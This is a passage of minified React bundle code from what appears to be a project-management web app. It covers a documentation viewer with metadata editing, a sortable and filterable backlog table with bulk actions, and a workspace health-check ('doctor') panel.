t=document.getElementById(e.id);t&&n.observe(t)}return()=>n.disconnect()},[Z,Q]);let ke=e=>{document.getElementById(e)?.scrollIntoView({block:`start`,behavior:`smooth`}),X(e)},$=e=>{let r=c.find(t=>t.id===e);r?t(r.id):n(e)},Ae=(0,T.useMemo)(()=>{let e=new Set(W?.kinds??[]);for(let t of c)t.managed&&e.add(t.documentKind);return R&&e.add(R.kind),[...e].sort()},[W,c,R]),je=(0,T.useMemo)(()=>{let e=new Set(W?.statuses??be);for(let t of c)t.managed&&e.add(t.status);return R&&e.add(R.status),[...e].sort()},[W,c,R]);function Me(e){U(``),z({id:e.id,title:e.title,kind:e.documentKind,status:e.status,owners:(e.owners??[]).join(`, `),reviewed:e.reviewed??``})}async function Ne(){if(!R)return;let e=c.find(e=>e.id===R.id);if(!e){U(`This document no longer exists in the workspace.`);return}let t=R.owners.split(`,`).map(e=>e.trim()).filter(Boolean),n={},r=R.title.trim();if(r&&r!==e.title&&(n.title=r),R.kind!==e.documentKind&&(n.kind=R.kind),R.status!==e.status&&(n.status=R.status),t.join(` | ||
| `)!==(e.owners??[]).join(` | ||
| `)&&(n.owners=t),(R.reviewed||``)!==(e.reviewed??``)&&(n.reviewed=R.reviewed||null),!Object.keys(n).length){z(null);return}V(!0),U(``);try{let t=await g.patchDocument(e.id,n,e.revision);m(n=>n.map(n=>n.id===e.id?t.record:n)),z(null)}catch(e){let t=e;t.code?.endsWith(`WRITE_CONFLICT`)?(G(e=>e+1),U(`The document changed on disk; the list was refreshed. Save again to apply your changes to the latest revision.`)):U(t.message||String(e))}finally{V(!1)}}return(0,E.jsxs)(`div`,{className:`flex min-h-0 flex-1`,children:[(0,E.jsxs)(`aside`,{"aria-label":`Documents`,className:l(`min-h-0 w-full shrink-0 flex-col border-r px-2 py-3 lg:flex lg:w-[290px]`,J?`hidden`:`flex`),children:[(0,E.jsxs)(`div`,{className:`flex flex-col gap-2 pb-2.5`,children:[(0,E.jsxs)(se,{className:`h-8`,children:[(0,E.jsx)(ge,{children:(0,E.jsx)(a,{"aria-hidden":`true`})}),(0,E.jsx)(ve,{className:`h-8`,type:`search`,value:S,"aria-label":`Search documentation`,placeholder:`Search documentation…`,onChange:e=>me(e.target.value)})]}),(0,E.jsx)(`div`,{className:`flex gap-1.5`,children:(0,E.jsxs)(d,{type:`button`,variant:`outline`,size:`sm`,"aria-pressed":I,className:l(`h-7 gap-1.5 px-2.5 text-xs`,I&&`border-ring bg-accent`),onClick:()=>Ce(!I),children:[`managed`,(0,E.jsx)(`span`,{className:`font-normal text-muted-foreground`,children:I?`only`:`all`})]})})]}),(0,E.jsx)(`div`,{"aria-busy":M||void 0,className:`min-h-0 flex-1 overflow-y-auto`,children:M?(0,E.jsxs)(`span`,{className:`flex items-center gap-2 px-2 py-1.5 font-mono text-[10.5px] text-muted-foreground`,children:[(0,E.jsx)(p,{className:`size-3`}),`Loading documents…`]}):P?(0,E.jsx)(C,{variant:`destructive`,className:`mt-1.5`,children:(0,E.jsx)(y,{children:P})}):q.length?q.map(e=>(0,E.jsxs)(`div`,{className:`flex flex-col gap-px pb-3.5`,children:[(0,E.jsxs)(`span`,{className:`flex items-center gap-2 px-2 py-1.5 font-mono text-[10.5px] text-muted-foreground`,children:[(0,E.jsx)(`span`,{className:`text-foreground/80`,children:e.label}),(0,E.jsx)(`span`,{children:e.docs.length})]}),e.docs.map(e=>(0,E.jsx)(xe,{document:e,selected:J?.id===e.id,onSelect:()=>t(e.id)},e.id))]},e.key)):(0,E.jsx)(fe,{className:`gap-2 p-4 md:p-4`,children:(0,E.jsxs)(re,{children:[(0,E.jsx)(ie,{className:`text-sm`,children:`No documents found.`}),(0,E.jsx)(de,{className:`text-xs`,children:I?`Try another search, or include indexed files.`:`Try another search.`})]})})})]}),(0,E.jsx)(`section`,{ref:Y,className:l(`min-w-0 flex-1 overflow-y-auto px-6 py-6.5 sm:px-8.5`,J?`block`:`hidden lg:block`),children:(0,E.jsx)(`div`,{className:ye,children:J?(0,E.jsxs)(E.Fragment,{children:[(0,E.jsxs)(d,{type:`button`,variant:`ghost`,size:`sm`,className:`-ml-2 mb-2 lg:hidden`,onClick:()=>t(``),children:[(0,E.jsx)(i,{"aria-hidden":`true`}),`All documents`]}),(0,E.jsxs)(`div`,{className:`flex flex-wrap items-center gap-2 font-mono text-[11px] text-muted-foreground`,children:[(0,E.jsx)(`span`,{children:J.id}),j,(0,E.jsx)(`span`,{children:J.documentKind}),j,(0,E.jsx)(`span`,{style:{color:u(J.status)},children:J.status}),j,(0,E.jsx)(`span`,{children:J.managed?`managed`:`indexed`}),(0,E.jsx)(`span`,{className:`flex-1`}),J.managed?(0,E.jsxs)(E.Fragment,{children:[(0,E.jsxs)(d,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>we(e=>!e),children:[L?(0,E.jsx)(ee,{"aria-hidden":`true`}):(0,E.jsx)(o,{"aria-hidden":`true`}),L?`Preview`:`Edit`]}),(0,E.jsxs)(d,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>Me(J),children:[(0,E.jsx)(s,{"aria-hidden":`true`}),`Metadata`]})]}):null]}),(0,E.jsx)(`h2`,{className:`mt-3 mb-1.5 text-2xl font-semibold tracking-tight`,children:J.title}),(0,E.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground [overflow-wrap:anywhere]`,children:J.path}),(0,E.jsxs)(`div`,{className:`mt-4.5 flex flex-wrap gap-2`,children:[(0,E.jsx)(k,{label:`kind`,value:J.documentKind}),(0,E.jsx)(k,{label:`status`,value:J.status}),(0,E.jsx)(k,{label:`reviewed`,value:J.reviewed||`—`}),(0,E.jsx)(k,{label:`owners`,value:J.owners?.join(`, `)||`—`}),(0,E.jsx)(k,{label:`backlinks`,value:String(J.incomingTotal??J.incoming.length)}),J.updated?(0,E.jsx)(k,{label:`updated`,value:J.updated}):null]}),J.freshness.length>0?(0,E.jsxs)(C,{role:`status`,className:`mt-4.5 max-w-2xl`,children:[(0,E.jsx)(r,{"aria-hidden":`true`,className:`text-sev-warning`}),(0,E.jsx)(y,{children:J.freshness.map(e=>(0,E.jsx)(`span`,{children:e.message},`${e.code}-${e.message}`))})]}):null,(0,E.jsx)(`div`,{className:`mt-6.5`,children:L&&J.managed?(0,E.jsx)(ae,{value:J.body,revision:J.revision,onSave:async(e,t)=>{let n=await g.patchDocument(J.id,{body:e},t);m(e=>e.map(e=>e.id===J.id?n.record:e))}},J.id):J.body.trim()?(0,E.jsx)(f,{source:J.body,headingPrefix:D,onOpen:$}):(0,E.jsx)(`p`,{className:`text-xs text-muted-foreground`,children:J.managed?`This document is empty. Use Edit to write its first version.`:`This file has no body to render.`})}),J.outgoing.length||J.incoming.length||J.scope?.length?(0,E.jsxs)(`div`,{className:`mt-7 flex max-w-[70ch] flex-col gap-4.5`,children:[(0,E.jsx)(A,{label:`links to`,links:J.outgoing,onOpen:$}),(0,E.jsx)(A,{label:(J.incomingTotal??J.incoming.length)>J.incoming.length?`backlinks (${J.incoming.length} of ${J.incomingTotal})`:`backlinks`,links:J.incoming,onOpen:$}),J.scope?.length?(0,E.jsxs)(`section`,{className:`flex flex-col gap-1.5`,children:[(0,E.jsx)(`span`,{className:O,children:`scope`}),J.scope.map(e=>(0,E.jsx)(`span`,{className:`font-mono text-[10.5px] text-muted-foreground [overflow-wrap:anywhere]`,children:e},e))]}):null]}):null]}):(0,E.jsx)(`div`,{className:`flex h-full items-center justify-center text-xs text-muted-foreground`,children:M?`Loading documents…`:`Select a document from the list to read it.`})})}),Q?(0,E.jsx)(Se,{entries:Z,activeId:Oe,onJump:ke}):null,(0,E.jsx)(ce,{open:R!==null,onOpenChange:e=>{!e&&!B&&z(null)},children:(0,E.jsxs)(pe,{"aria-describedby":void 0,children:[(0,E.jsx)(ue,{children:(0,E.jsx)(he,{children:`Edit metadata${R?` — ${R.id}`:``}`})}),R?(0,E.jsxs)(_e,{className:`gap-4`,children:[(0,E.jsxs)(v,{children:[(0,E.jsx)(h,{htmlFor:`docs-meta-title`,children:`title`}),(0,E.jsx)(_,{id:`docs-meta-title`,value:R.title,onChange:e=>z({...R,title:e.target.value})})]}),(0,E.jsxs)(`div`,{className:`grid grid-cols-2 gap-2.5`,children:[(0,E.jsxs)(v,{className:`[&_[data-slot=native-select-wrapper]]:w-full`,children:[(0,E.jsx)(h,{htmlFor:`docs-meta-kind`,children:`kind`}),(0,E.jsx)(x,{id:`docs-meta-kind`,value:R.kind,onChange:e=>z({...R,kind:e.target.value}),children:Ae.map(e=>(0,E.jsx)(b,{value:e,children:e},e))})]}),(0,E.jsxs)(v,{className:`[&_[data-slot=native-select-wrapper]]:w-full`,children:[(0,E.jsx)(h,{htmlFor:`docs-meta-status`,children:`status`}),(0,E.jsx)(x,{id:`docs-meta-status`,value:R.status,onChange:e=>z({...R,status:e.target.value}),children:je.map(e=>(0,E.jsx)(b,{value:e,children:e},e))})]})]}),(0,E.jsxs)(`div`,{className:`grid grid-cols-2 gap-2.5`,children:[(0,E.jsxs)(v,{children:[(0,E.jsx)(h,{htmlFor:`docs-meta-owners`,children:`owners`}),(0,E.jsx)(_,{id:`docs-meta-owners`,value:R.owners,placeholder:`comma-separated`,onChange:e=>z({...R,owners:e.target.value})})]}),(0,E.jsxs)(v,{children:[(0,E.jsx)(h,{htmlFor:`docs-meta-reviewed`,children:`reviewed`}),(0,E.jsx)(_,{id:`docs-meta-reviewed`,type:`date`,value:R.reviewed,onChange:e=>z({...R,reviewed:e.target.value})})]})]}),H?(0,E.jsx)(C,{variant:`destructive`,children:(0,E.jsx)(y,{children:H})}):null]}):null,(0,E.jsxs)(le,{children:[(0,E.jsx)(d,{type:`button`,variant:`outline`,disabled:B,onClick:()=>z(null),children:`Cancel`}),(0,E.jsx)(d,{type:`button`,disabled:B,onClick:()=>void Ne(),children:B?`Saving…`:`Save`})]})]})})]})}export{M as DocPanel,N as DocsView}; |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{At as r,C as i,Tt as a,W as o,kt as s,w as c,yt as ee}from"./ui-primitives-Beqd9I2k.js";import{c as l,o as u,s as d,t as f}from"./theme-CNCrPl--.js";import{F as te,G as ne,J as re,K as ie,M as ae,P as oe,Y as se,a as p,g as m,h,i as ce,j as le,k as ue,o as g,q as de,s as fe}from"./index-Dpy209ef.js";import{t as _}from"./progress-DOIfGVtf.js";var v=e(t(),1),y=n();function b({className:e,...t}){return(0,y.jsx)(i,{"data-slot":`checkbox`,className:l(`peer size-4 shrink-0 rounded-[4px] border border-input shadow-xs transition-shadow outline-none focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 disabled:cursor-not-allowed disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-destructive/20 data-[state=checked]:border-primary data-[state=checked]:bg-primary data-[state=checked]:text-primary-foreground dark:bg-input/30 dark:aria-invalid:ring-destructive/40 dark:data-[state=checked]:bg-primary`,e),...t,children:(0,y.jsx)(c,{"data-slot":`checkbox-indicator`,className:`grid place-content-center text-current transition-none`,children:(0,y.jsx)(a,{className:`size-3.5`})})})}function pe({className:e,...t}){return(0,y.jsx)(`div`,{"data-slot":`table-container`,className:`relative w-full overflow-x-auto`,children:(0,y.jsx)(`table`,{"data-slot":`table`,className:l(`w-full caption-bottom text-sm`,e),...t})})}function me({className:e,...t}){return(0,y.jsx)(`thead`,{"data-slot":`table-header`,className:l(`[&_tr]:border-b`,e),...t})}function he({className:e,...t}){return(0,y.jsx)(`tbody`,{"data-slot":`table-body`,className:l(`[&_tr:last-child]:border-0`,e),...t})}function x({className:e,...t}){return(0,y.jsx)(`tr`,{"data-slot":`table-row`,className:l(`border-b transition-colors hover:bg-muted/50 has-aria-expanded:bg-muted/50 data-[state=selected]:bg-muted`,e),...t})}function S({className:e,...t}){return(0,y.jsx)(`th`,{"data-slot":`table-head`,className:l(`h-10 px-2 text-left align-middle font-medium whitespace-nowrap text-foreground [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]`,e),...t})}function C({className:e,...t}){return(0,y.jsx)(`td`,{"data-slot":`table-cell`,className:l(`p-2 align-middle whitespace-nowrap [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]`,e),...t})}var w=[[`id`,`id`],[`title`,`title · claim`],[`status`,`status`],[`priority`,`prio`],[`type`,`type`],[`area`,`area`],[`epic`,`links`],[`updated`,`updated`]],T=new Map(p.map((e,t)=>[e,t])),E=new Map(g.map((e,t)=>[e,t])),D=w.length+1;function O(e,t){let n=new Map;for(let r of e){let e=r[t];typeof e==`string`&&n.set(e,(n.get(e)||0)+1)}return n}function k({title:e,values:t,counts:n,selected:r,color:i,onSelect:a}){let o=t.filter(e=>n.has(e));if(!o.length)return null;let s=Math.max(...o.map(e=>n.get(e)||0));return(0,y.jsxs)(`div`,{className:`flex flex-col gap-1`,children:[(0,y.jsx)(`span`,{className:`px-1.5 font-mono text-[10px] tracking-widest uppercase text-muted-foreground`,children:e}),o.map(e=>{let t=n.get(e)||0,o=r===e;return(0,y.jsxs)(`button`,{type:`button`,"aria-pressed":o,onClick:()=>a(o?``:e),className:l(`flex w-full cursor-pointer flex-col gap-1 rounded-md px-1.5 py-1 text-left transition-colors hover:bg-accent/50`,o&&`bg-accent`),children:[(0,y.jsxs)(`span`,{className:`flex w-full items-center gap-1.5`,children:[(0,y.jsx)(`span`,{className:l(`min-w-0 flex-1 truncate text-xs`,o?`font-medium text-foreground`:`text-muted-foreground`),children:e}),(0,y.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:t})]}),(0,y.jsx)(_,{value:s?Math.round(t/s*100):0,className:l(`h-[5px] bg-muted [&>div]:bg-current`,!i&&`text-primary`),style:i?{color:i(e)}:void 0})]},e)})]})}function A({label:e,value:t,options:n,color:r,withDot:i,onChange:a}){return(0,y.jsxs)(`span`,{className:`inline-flex items-center gap-1.5`,style:{color:r},children:[i?(0,y.jsx)(`span`,{className:`size-1.5 shrink-0 rounded-full bg-current`,"aria-hidden":`true`}):null,(0,y.jsx)(h,{"aria-label":e,value:t,onChange:e=>a(e.target.value),className:`h-[22px] cursor-pointer border-transparent bg-transparent px-1 py-0 pr-8 font-mono text-[11px] text-inherit shadow-none dark:bg-transparent dark:hover:bg-transparent`,children:n.map(e=>(0,y.jsx)(m,{value:e,children:e},e))})]})}var ge=(0,v.memo)(function({task:e,epicId:t,checked:n,isOpen:r,onToggle:i,onOpen:a,onPatch:o}){let s=(e.depends?.length??0)+ +!!e.parent;return(0,y.jsxs)(x,{className:`h-[var(--row-h)] cursor-pointer`,"data-state":r?`selected`:void 0,tabIndex:0,onClick:()=>a(e.id),onKeyDown:t=>{t.key===`Enter`&&a(e.id)},children:[(0,y.jsx)(C,{className:l(`w-7 border-l-2 border-l-transparent`,r&&`border-l-primary`),onClick:e=>e.stopPropagation(),children:(0,y.jsx)(b,{"aria-label":`Select ${e.id}`,checked:n,onCheckedChange:()=>i(e.id)})}),(0,y.jsx)(C,{className:`font-mono text-xs text-muted-foreground`,children:e.id}),(0,y.jsx)(C,{className:`max-w-[520px]`,children:(0,y.jsxs)(`span`,{className:`flex min-w-0 items-baseline gap-2`,children:[(0,y.jsx)(`span`,{className:`min-w-0 truncate font-medium`,children:e.title}),e.claimed_by?(0,y.jsxs)(`span`,{className:`font-mono text-[10px] whitespace-nowrap text-muted-foreground/60`,children:[`· `,e.claimed_by]}):null]})}),(0,y.jsx)(C,{onClick:e=>e.stopPropagation(),children:(0,y.jsx)(A,{label:`Status for ${e.id}`,value:e.status,options:g,color:u(e.status),withDot:!0,onChange:t=>void o(e.id,{status:t}).catch(()=>void 0)})}),(0,y.jsx)(C,{onClick:e=>e.stopPropagation(),children:(0,y.jsx)(A,{label:`Priority for ${e.id}`,value:e.priority,options:p,color:f(e.priority),onChange:t=>void o(e.id,{priority:t}).catch(()=>void 0)})}),(0,y.jsx)(C,{className:`font-mono text-[11px] text-muted-foreground`,children:e.type}),(0,y.jsx)(C,{className:`font-mono text-[11px] text-muted-foreground`,children:e.area}),(0,y.jsxs)(C,{className:`font-mono text-[11px] text-muted-foreground/60`,children:[t?(0,y.jsx)(`button`,{type:`button`,onClick:e=>{e.stopPropagation(),a(t)},className:l(`cursor-pointer text-primary hover:underline`,s>0&&`mr-1.5`),children:t}):null,s>0?`${s} ↔`:t?null:`—`]}),(0,y.jsx)(C,{className:`font-mono text-[11px] text-muted-foreground/60`,children:e.updated||`—`})]})});function j({tasks:e,allTasks:t,areas:n,filters:i,setFilters:a,epicIds:c,onOpen:l,onPatch:_,onBulkPatch:C}){let[A,j]=(0,v.useState)(()=>new Set),[_e,ve]=(0,v.useState)(null),[M,ye]=(0,v.useState)(`id`),[N,P]=(0,v.useState)(`desc`),[F,I]=(0,v.useState)(``),[L,R]=(0,v.useState)(``),[z,B]=(0,v.useState)(``),V=(0,v.useRef)(null),[H,be]=(0,v.useState)({start:0,end:40}),[U,xe]=(0,v.useState)(40),W=(0,v.useDeferredValue)(i),G=(0,v.useMemo)(()=>{let e=e=>ce(t,{...W,...e});return{status:O(e({status:``}),`status`),type:O(e({type:``,showIdeas:!0}),`type`),priority:O(e({priority:``}),`priority`),area:O(e({area:``}),`area`)}},[t,W]),K=(0,v.useMemo)(()=>{let t=[...e];return t.sort((e,t)=>{let n=0;return n=M===`priority`?(T.get(e.priority)||0)-(T.get(t.priority)||0):M===`status`?(E.get(e.status)||0)-(E.get(t.status)||0):M===`epic`?(c.get(e.id)||``).localeCompare(c.get(t.id)||``):String(e[M]||``).localeCompare(String(t[M]||``),void 0,{numeric:!0}),N===`asc`?n:-n}),t},[c,N,M,e]),q=(0,v.useRef)(0),Se=K.length>0,J=(0,v.useCallback)(()=>{let e=V.current;if(!e)return;let t=parseFloat(getComputedStyle(document.documentElement).getPropertyValue(`--row-h`))||40;xe(t);let n=Math.max(0,Math.floor(e.scrollTop/t)-10),r=Math.ceil(e.clientHeight/t);be({start:n,end:Math.min(q.current,n+r+20)})},[]);(0,v.useEffect)(()=>{let e=V.current;if(!e)return;e.addEventListener(`scroll`,J,{passive:!0}),window.addEventListener(`resize`,J);let t=new MutationObserver(J);return t.observe(document.documentElement,{attributes:!0,attributeFilter:[`data-density`]}),()=>{e.removeEventListener(`scroll`,J),window.removeEventListener(`resize`,J),t.disconnect()}},[J,Se]),(0,v.useEffect)(()=>{q.current=K.length,J()},[J,K.length]);let Ce=[i.search,i.status,i.area,i.type,i.priority,i.milestone,i.showIdeas,i.showClosed,M,N].join(`|`);(0,v.useEffect)(()=>{V.current&&(V.current.scrollTop=0),J()},[Ce,J]);let we=(0,v.useCallback)(e=>{j(t=>{let n=new Set(t);return n.has(e)?n.delete(e):n.add(e),n})},[]),Te=(0,v.useCallback)(e=>{ve(e),l(e)},[l]),Y=(0,v.useMemo)(()=>K.map(e=>e.id),[K]),X=Y.length>0&&Y.every(e=>A.has(e)),Ee=Y.some(e=>A.has(e)),De=K.slice(H.start,H.end),Z=!!(F||L||z);function Oe(e){M===e?P(e=>e===`asc`?`desc`:`asc`):(ye(e),P(e===`id`?`desc`:`asc`))}async function ke(){let e={};if(F&&(e.status=F),L&&(e.priority=L),z&&(e.area=z),!(!Z||A.size===0))try{await C([...A],e),j(new Set),I(``),R(``),B(``)}catch{}}let Q=(0,y.jsxs)(y.Fragment,{children:[(0,y.jsx)(k,{title:`status`,values:g,counts:G.status,selected:i.status,color:u,onSelect:e=>a(t=>({...t,status:e}))}),(0,y.jsx)(k,{title:`priority`,values:p,counts:G.priority,selected:i.priority,color:f,onSelect:e=>a(t=>({...t,priority:e}))}),(0,y.jsx)(k,{title:`area`,values:n,counts:G.area,selected:i.area,onSelect:e=>a(t=>({...t,area:e}))}),(0,y.jsx)(k,{title:`type`,values:fe,counts:G.type,selected:i.type,onSelect:e=>a(t=>({...t,type:e}))})]}),$=[i.status,i.priority,i.area,i.type].filter(Boolean).length;return(0,y.jsxs)(`div`,{className:`flex min-h-0 flex-1`,children:[(0,y.jsx)(`aside`,{"aria-label":`Backlog facets`,className:`hidden w-[204px] flex-none flex-col gap-5 overflow-y-auto border-r px-3.5 py-4 lg:flex`,children:Q}),(0,y.jsxs)(`div`,{className:`flex min-h-0 min-w-0 flex-1 flex-col`,children:[(0,y.jsxs)(`div`,{className:`flex flex-none items-center gap-2 px-3.5 pt-2.5 lg:hidden`,children:[(0,y.jsxs)(ne,{children:[(0,y.jsx)(se,{asChild:!0,children:(0,y.jsxs)(d,{variant:`outline`,size:`sm`,className:`h-7 gap-1.5 px-2.5 text-xs`,children:[(0,y.jsx)(o,{className:`size-3.5`}),`Facets`,$?(0,y.jsx)(`span`,{className:`font-mono text-[10px] text-muted-foreground`,children:$}):null]})}),(0,y.jsxs)(ie,{side:`left`,className:`w-[280px] gap-0 sm:max-w-[280px]`,children:[(0,y.jsx)(de,{className:`pb-2`,children:(0,y.jsx)(re,{className:`font-mono text-[11px] tracking-wide uppercase`,children:`Facets`})}),(0,y.jsx)(`div`,{className:`flex flex-col gap-5 overflow-y-auto px-4 pb-4`,children:Q})]})]}),(0,y.jsxs)(`span`,{className:`font-mono text-[10.5px] text-muted-foreground/70`,children:[K.length.toLocaleString(),` row`,K.length===1?``:`s`,` · scroll sideways for every column`]})]}),A.size>0&&(0,y.jsxs)(`div`,{role:`region`,"aria-label":`Bulk actions`,className:`mx-3.5 mt-2.5 mb-2.5 flex flex-none flex-wrap items-center gap-2 rounded-md border bg-muted/50 px-3 py-2`,children:[(0,y.jsxs)(`span`,{className:`font-mono text-[11px]`,children:[A.size,` selected`]}),(0,y.jsxs)(h,{"aria-label":`Set status`,value:F,onChange:e=>I(e.target.value),className:`h-7 px-2 py-0 pr-8 text-xs`,children:[(0,y.jsx)(m,{value:``,children:`status…`}),g.map(e=>(0,y.jsx)(m,{value:e,children:e},e))]}),(0,y.jsxs)(h,{"aria-label":`Set priority`,value:L,onChange:e=>R(e.target.value),className:`h-7 px-2 py-0 pr-8 text-xs`,children:[(0,y.jsx)(m,{value:``,children:`priority…`}),p.map(e=>(0,y.jsx)(m,{value:e,children:e},e))]}),(0,y.jsxs)(h,{"aria-label":`Set area`,value:z,onChange:e=>B(e.target.value),className:`h-7 px-2 py-0 pr-8 text-xs`,children:[(0,y.jsx)(m,{value:``,children:`area…`}),n.map(e=>(0,y.jsx)(m,{value:e,children:e},e))]}),(0,y.jsxs)(te,{children:[(0,y.jsx)(d,{size:`sm`,className:`h-7`,disabled:!Z,onClick:()=>void ke(),children:`Apply`}),(0,y.jsx)(d,{size:`sm`,variant:`outline`,className:`h-7`,onClick:()=>j(new Set),children:`Clear`})]})]}),K.length===0?(0,y.jsx)(ue,{children:(0,y.jsxs)(ae,{children:[(0,y.jsx)(oe,{children:`No cards match`}),(0,y.jsx)(le,{children:`Adjust filters or clear the search`})]})}):(0,y.jsx)(`div`,{ref:V,className:`min-w-0 flex-1 overflow-auto [&>[data-slot=table-container]]:overflow-visible`,children:(0,y.jsxs)(pe,{className:`text-[13px]`,children:[(0,y.jsx)(me,{children:(0,y.jsxs)(x,{className:`hover:bg-transparent`,children:[(0,y.jsx)(S,{className:`sticky top-0 z-10 w-7 bg-background`,children:(0,y.jsx)(b,{"aria-label":`Select all matching cards`,checked:X?!0:Ee?`indeterminate`:!1,onCheckedChange:()=>j(e=>{let t=new Set(e);return X?Y.forEach(e=>t.delete(e)):Y.forEach(e=>t.add(e)),t})})}),w.map(([e,t])=>(0,y.jsx)(S,{"aria-sort":M===e?N===`asc`?`ascending`:`descending`:`none`,className:`sticky top-0 z-10 bg-background`,children:(0,y.jsxs)(d,{variant:`ghost`,size:`sm`,onClick:()=>Oe(e),className:`-ml-2 h-7 gap-1 px-2 text-xs text-muted-foreground`,children:[t,M===e?N===`asc`?(0,y.jsx)(s,{className:`size-3`}):(0,y.jsx)(r,{className:`size-3`}):(0,y.jsx)(ee,{className:`size-3 opacity-50`})]})},e))]})}),(0,y.jsxs)(he,{children:[H.start>0&&(0,y.jsx)(`tr`,{"aria-hidden":`true`,children:(0,y.jsx)(`td`,{colSpan:D,style:{height:H.start*U}})}),De.map(e=>(0,y.jsx)(ge,{task:e,epicId:c.get(e.id)||``,checked:A.has(e.id),isOpen:_e===e.id,onToggle:we,onOpen:Te,onPatch:_},e.id)),H.end<K.length&&(0,y.jsx)(`tr`,{"aria-hidden":`true`,children:(0,y.jsx)(`td`,{colSpan:D,style:{height:(K.length-H.end)*U}})})]})]})})]})]})}export{j as Explorer}; |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{vt as r}from"./ui-primitives-Beqd9I2k.js";import{i,o as a,s as o}from"./theme-CNCrPl--.js";import{D as s,L as c,M as l,N as u,P as d,R as f,W as p,ct as m,j as h,k as g,ot as _,st as v,z as y}from"./index-Dpy209ef.js";var b=e(t(),1),x=n(),S=[{level:`error`,label:`errors`,hint:`must be fixed for a consistent workspace`,zeroHint:`the doctor does not block the release`},{level:`warning`,label:`warnings`,hint:`worth a look, nothing is broken yet`,zeroHint:`nothing worth flagging`},{level:`info`,label:`infos`,hint:`informational, no action required`,zeroHint:`no notices from the doctor`}];function C(e){return e.replace(/[-_.]+/g,` `)}var w={error:0,warning:1,info:2};function T({onOpen:e}){let[t,n]=(0,b.useState)(null),[T,E]=(0,b.useState)(``),[D,O]=(0,b.useState)(``),[k,A]=(0,b.useState)(0);c(()=>A(e=>e+1)),(0,b.useEffect)(()=>{let e=!0;return p.health().then(t=>{e&&n(t)}).catch(t=>{e&&E(t instanceof Error?t.message:String(t))}),()=>{e=!1}},[k]);let j=(0,b.useMemo)(()=>{if(!t)return[];let e=D?t.issues.filter(e=>e.severity===D):t.issues,n=new Map;for(let t of e){let e=n.get(t.code);e?e.push(t):n.set(t.code,[t])}return[...n.entries()].sort(([e,[t]],[n,[r]])=>{let i=w[t.severity]-w[r.severity];return i===0?e.localeCompare(n):i})},[t,D]);if(T)return(0,x.jsx)(`div`,{className:`p-3.5`,children:(0,x.jsx)(v,{variant:`destructive`,children:(0,x.jsx)(m,{children:T})})});if(!t)return(0,x.jsxs)(`div`,{className:`flex items-center gap-2 p-3.5`,"aria-busy":`true`,children:[(0,x.jsx)(s,{className:`size-3 text-muted-foreground`}),(0,x.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:`running workfile doctor…`})]});let M=[[`cards`,t.modules?.cards??t.cards],[`docs`,t.modules?.docs],[`memory`,t.modules?.memory],[`changelog`,t.modules?.changelog]].filter(([,e])=>e!=null).map(([e,t])=>`${t.toLocaleString()} ${e}`).join(`, `),N=new Intl.DateTimeFormat(void 0,{dateStyle:`medium`,timeStyle:`short`}).format(new Date(t.generatedAt));return(0,x.jsxs)(`div`,{className:`flex-1 overflow-y-auto p-3.5`,children:[(0,x.jsx)(`div`,{className:`mb-2.5 flex gap-1.5`,children:S.map(({level:e,label:n})=>(0,x.jsxs)(o,{type:`button`,variant:`outline`,size:`sm`,"aria-pressed":D===e,className:`aria-pressed:border-ring aria-pressed:bg-accent`,onClick:()=>O(t=>t===e?``:e),children:[n,(0,x.jsx)(_,{variant:`secondary`,className:`px-1.5 font-mono text-[10.5px]`,children:t.counts[e]})]},e))}),(0,x.jsx)(`div`,{className:`flex flex-wrap gap-2.5`,children:S.map(({level:e,label:n,hint:r,zeroHint:o})=>{let s=t.counts[e],c=e===`error`&&s===0?a(`done`):i(e);return(0,x.jsxs)(y,{className:`relative min-w-[13rem] flex-1 gap-1 py-3 pl-5 pr-3.5`,children:[(0,x.jsx)(f,{edge:`left`,color:c}),(0,x.jsxs)(`span`,{className:`flex items-baseline gap-2`,children:[(0,x.jsx)(`span`,{className:`text-[26px] font-semibold tracking-tight`,style:{color:c},children:s}),(0,x.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:n})]}),(0,x.jsx)(`span`,{className:`text-xs text-muted-foreground`,children:s===0?o:r})]},e)})}),(0,x.jsxs)(`div`,{className:`flex flex-wrap items-center gap-x-2.5 gap-y-1 px-0.5 pt-4 pb-2`,children:[(0,x.jsxs)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:[`grouped by code · `,M,` · checked `,N]}),(0,x.jsx)(`span`,{className:`ml-auto font-mono text-[10.5px] text-muted-foreground/70`,children:`workfile doctor --json`})]}),j.length===0?(0,x.jsx)(g,{className:`gap-2 p-10`,children:(0,x.jsxs)(l,{children:[(0,x.jsx)(u,{children:(0,x.jsx)(r,{"aria-hidden":`true`,size:20,style:{color:a(`done`)}})}),(0,x.jsx)(d,{className:`text-sm`,children:`All clear`}),(0,x.jsxs)(h,{className:`text-[12.5px]`,children:[`No `,D||`integrity`,` issues found.`]})]})}):(0,x.jsx)(`div`,{className:`flex flex-col gap-2`,children:j.map(([t,n])=>(0,x.jsxs)(y,{className:`gap-0 overflow-hidden py-0`,children:[(0,x.jsxs)(`div`,{className:`flex items-center gap-2 border-b px-3 py-1.5`,children:[(0,x.jsx)(`span`,{"aria-hidden":`true`,className:`size-[7px] rounded-full bg-current`,style:{color:i(n[0].severity)}}),(0,x.jsx)(`span`,{className:`font-mono text-[11.5px]`,children:t}),(0,x.jsx)(`span`,{className:`flex-1 text-[12.5px] text-muted-foreground`,children:C(t)}),(0,x.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground/70`,children:n.length})]}),n.map((t,n)=>(0,x.jsxs)(`div`,{className:`flex flex-wrap items-center gap-x-2.5 gap-y-1 border-b px-3 py-[7px] last:border-0`,children:[t.id?(0,x.jsx)(o,{type:`button`,variant:`link`,className:`h-auto w-[82px] flex-[0_0_82px] justify-start p-0 font-mono text-[11px] 